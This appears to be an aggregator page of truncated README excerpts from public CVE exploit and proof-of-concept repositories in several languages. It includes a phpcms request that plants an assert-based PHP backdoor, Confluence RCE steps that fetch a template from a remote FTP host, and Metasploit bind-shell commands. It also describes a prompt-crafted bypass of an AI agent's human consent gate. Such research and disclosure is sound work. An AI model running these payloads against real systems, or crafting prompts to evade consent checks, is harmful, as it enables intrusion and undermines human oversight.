inceptor

🚩 これはInceptorの公開リポジトリです。最新バージョンとアップデートについては、https://porchetta.industries/ からサポートをご検討ください。 🚩 スポンサー このプロジェクトをスポンサーしていただき、Inceptorの最新アップデート、最新の修正、最新機能を入手したい場合は、https://porchetta.industries/ でサポートをお願いします。 公式Discordチャンネル Discordでおしゃべりしましょう！ Porchetta Industries 目次 概要 インストール 使い方 ニュース NW:...

cve-2021-41773-exploration

概要 CVE-2021-41773 は、2021年10月に Apache HTTP Server 2.4.49 で発見されたパストラバーサルの脆弱性です。根本原因は、要求されたパスが Web ルート内に収まっているかを確認する前に、URL 内のドットシーケンスを適切に正規化できなかったことにあります。この脆弱性により、攻撃者は Web ルートを抜け出してサーバのファイルシステム上の任意のファイルにアクセスすることが可能となり、一部のケースではリモートコード実行にまでエスカレーションする可能性がありました。 この検証で実証する2つの攻撃ベクトル パストラバーサル:...

CVE-2026-78379

Amazon Strands Agents Tools (prior to 0.8.5 ) is affected by an improper input neutralization flaw in its python_repl tool. A remote attacker can craft a prompt that forwards the non_interactive_mode keyword argument through the batch tool, thereby bypassing the human consent gate and achieving a...

CVE-2026-78379 Consent bypass in python_repl tool via batch kwargs forwarding in Amazon Strands Agents Tools

Improper neutralization of input used for LLM prompting in the pythonrepl tool in Amazon Strands Agents Tools before 0.8.5 might allow remote actors to execute arbitrary Python code on the agent's host by bypassing the human consent gate, via a crafted prompt that forwards noninteractivemode as a...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、あなたのウェブサイトにcmd.vmを配置してください（ftpまたはhttpsを使用する必要があります。httpは動作しません） 2、RCEexp.py を修正し，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337...

uaf-2023-28205

CVE-2023-28205: Apple WebKit の Use-After-Free 脆弱性 この脆弱性は、悪意を持って作成された Web コンテンツを通じて悪用される可能性があり、攻撃者が任意のコードを実行できるようになります。 説明 このコードは、Map オブジェクトと Date オブジェクトの追加を遅延させることで use-after-free UAF 脆弱性を引き起こし、ガベージコレクター GC がそれらを解放できるようにします。これにより、解放されたオブジェクトにアクセスされる可能性が生じ、メモリ破壊を引き起こしたり、エクスプロイトを可能にしたりする可能性があります。 参...

CVE-2024-0582

RU GenIoURingExploit は、Linux カーネルの特定の脆弱性 CVE-2024-0582 を標的とした PoC エクスプロイトです。この PoC は iouring メカニズムを利用して、ソケットバッファを操作し、特定のカーネル動作を引き起こすことで、意図しないアクセスを獲得し、権限昇格の可能性をもたらします。 特徴 iouring を利用した効率的なバッファ操作。 KASLR（カーネルアドレス空間配置のランダム化）のリークを実証。 ソケットバッファ管理に関連する脆弱性を悪用。 制御された IOCTL 呼び出しによるエクスプロイトのトリガー。...

CVE-2025-5548

🛡️ 分析与利用：CVE-2025-5548 网络安全硕士 | 模块 6：漏洞 👋 你好！欢迎来到我的分析工坊 在本仓库中，我记录了自己在二进制级别漏洞分析与Windows环境漏洞利用开发方面的实践探索。 本实验室的主要目标是内化技术方法，从发现内存损坏缺陷（堆栈缓冲区溢出 ）开始，直到利用CVE-2025-5548 实现远程代码执行（RCE ）。 这不仅关乎运行工具，更在于理解内存如何被破坏、如何控制执行流程（EIP寄存器），以及如何绕过限制注入我们自己的Shellcode 。 📂 仓库结构 为了保持项目有序并模拟分析师真实工作流程，我将研究分为两个主要阶段： 🛠️...

Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Confluence サーバーでのリモートコード実行 : CVE-2021-26084 PoC Confluence の可能なエクスプロイトエンドポイント root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor https:///templates/editor-preload-container...

CVE-2024-4040

CVE-2024-4040 CrushFTP の全プラットフォームにおける 10.7.1 および 11.1.0 より前のすべてのバージョンに存在するサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者が VFS サンドボックスの外部にあるファイルシステムからファイルを読み取り、認証を回避して管理者アクセスを取得し、サーバー上でリモートコード実行を行うことが可能です。 このリポジトリは、攻撃者がファイルシステムからファイルを読み取る方法を示す POC です。 使用方法: root@kitploit: python exploit.py -u...

n8n-RCE-CVE-2025-68613

n8n 表达式注入 RCE 分析 CVE-2025-68613 本仓库包含我为利用 Hackviser 平台上易受攻击的 n8n 服务而准备的实验报告。 在研究中，我演示了如何通过 n8n 的表达式评估机制实现沙箱逃逸，并未经授权访问服务器根目录中的敏感文件 /secret.txt。这一过程清晰揭示了 OWASP Top 10 中 A03:2021-注入漏洞的实际影响。 利用步骤、我使用的有效载荷详情以及关于如何加固系统的建议均包含在 report.md 文件中。...

wp_CVE-2020-35489_checker

wpCVE-2020-35489checker CVE-2020-35489 - 简介 wpCVE-2020-35489checker 是一个 Python 命令行工具，用于检查 WordPress 网站是否存在 CVE-2020-35489 漏洞。该漏洞源于 WordPress Contact Form 7 插件 5.3.2 之前版本中的一个安全缺陷。由于输入验证和清理不足，该漏洞使未经身份验证的攻击者能够通过表单字段上传恶意脚本，进而可能导致在受影响站点上执行远程代码。 法律警告 本脚本 "wpCVE-2020-35489checker"...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

CVE-2022-30190

CVE-2022-30190 此仓库从 Defender 角度介绍 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考链接 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 crazyman（Shadow Chaser Group 成员）报告。Microsoft 现将其追踪为 CVE-2022-30190。该缺陷影响所有仍接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec 所发现，威胁行为者利用该漏洞通...

CVE-2022-35737

CVE-2022-35737 SQLite3 sqlite3strvappendf 函数中的整数溢出。 CVSS 6.7 AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H CVE-2022-35737 于 SQLite 1.0.12 版本中引入，并在 2022 年 7 月 21 日发布的 3.39.2 版本中修复。该漏洞可在 64 位系统上被利用，其可利用性取决于程序的编译方式：当库在未启用栈金丝雀的情况下编译时，已确认可执行任意代码；但在启用栈金丝雀时尚未确认；在所有情况下，均已确认可造成拒绝服务。 当格式说明符为 %q、%Q 或 %w 时，向...

CVE-2020-23839

CVE-2020-23839 | GetSimple CMS v3.3.16 - リフレクション型XSSからRCEへ エクスプロイト作者: Bobby Cooke boku 脆弱性統計 OWASP Top Ten 2017: A7:2017-クロスサイトスクリプティング XSS CWE-79: ウェブページ生成時の入力の不適切な無害化（'クロスサイトスクリプティング'） - タイプ1: リフレクション型XSS CVSS Base Score: 6.1 MEDIUM CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template 关于CVE-2024-25600的Nuclei模板和PoC信息 描述 📝 WordPress的Bricks主题在所有版本（包括1.9.6）中存在远程代码执行漏洞。这使得未经身份验证的攻击者能够在服务器上执行代码。 此模板 🛠️ 旨在使用nuclei检测Bricks Builder插件中发现的CVE-2024-25600漏洞 🕳️。该漏洞允许对受影响的网站进行未经身份验证的远程代码执行 💻。 概念验证（PoC） 📝...

PunchingBag-for-React2Shell

🥊 PunchingBag - CVE-2025-55182 安全研究平台 ⚠️ 仅用于教育目的 ：这是一个故意存在漏洞的应用程序，设计用于授权的安全研究和CTF挑战。请勿在未经授权的系统上使用这些技术。 一个故意存在漏洞的 Next.js 15.1.6 应用程序，演示了 CVE-2025-55182（React2Shell） ——React Server Components 中的一个严重远程代码执行漏洞。专为安全研究员、渗透测试人员和学生在安全、隔离的环境中练习利用技术而构建。 📋 目录 关于 CVE-2025-55182 特性 前提条件...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 最近、phpcms 2008 のソースコードの /type.php に脆弱性を発見しました。攻撃者が「/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss」のような細工されたリクエストを送信すると、悪意のあるコンテンツ（この場合は「@unlinkFILE;assert$POST1;」）がキャッシュファイル（この場合は「/cachetemplate/rss.tpl.php」）に書き込まれます。 /type.php には以下のコードがあります： root@kitploit:...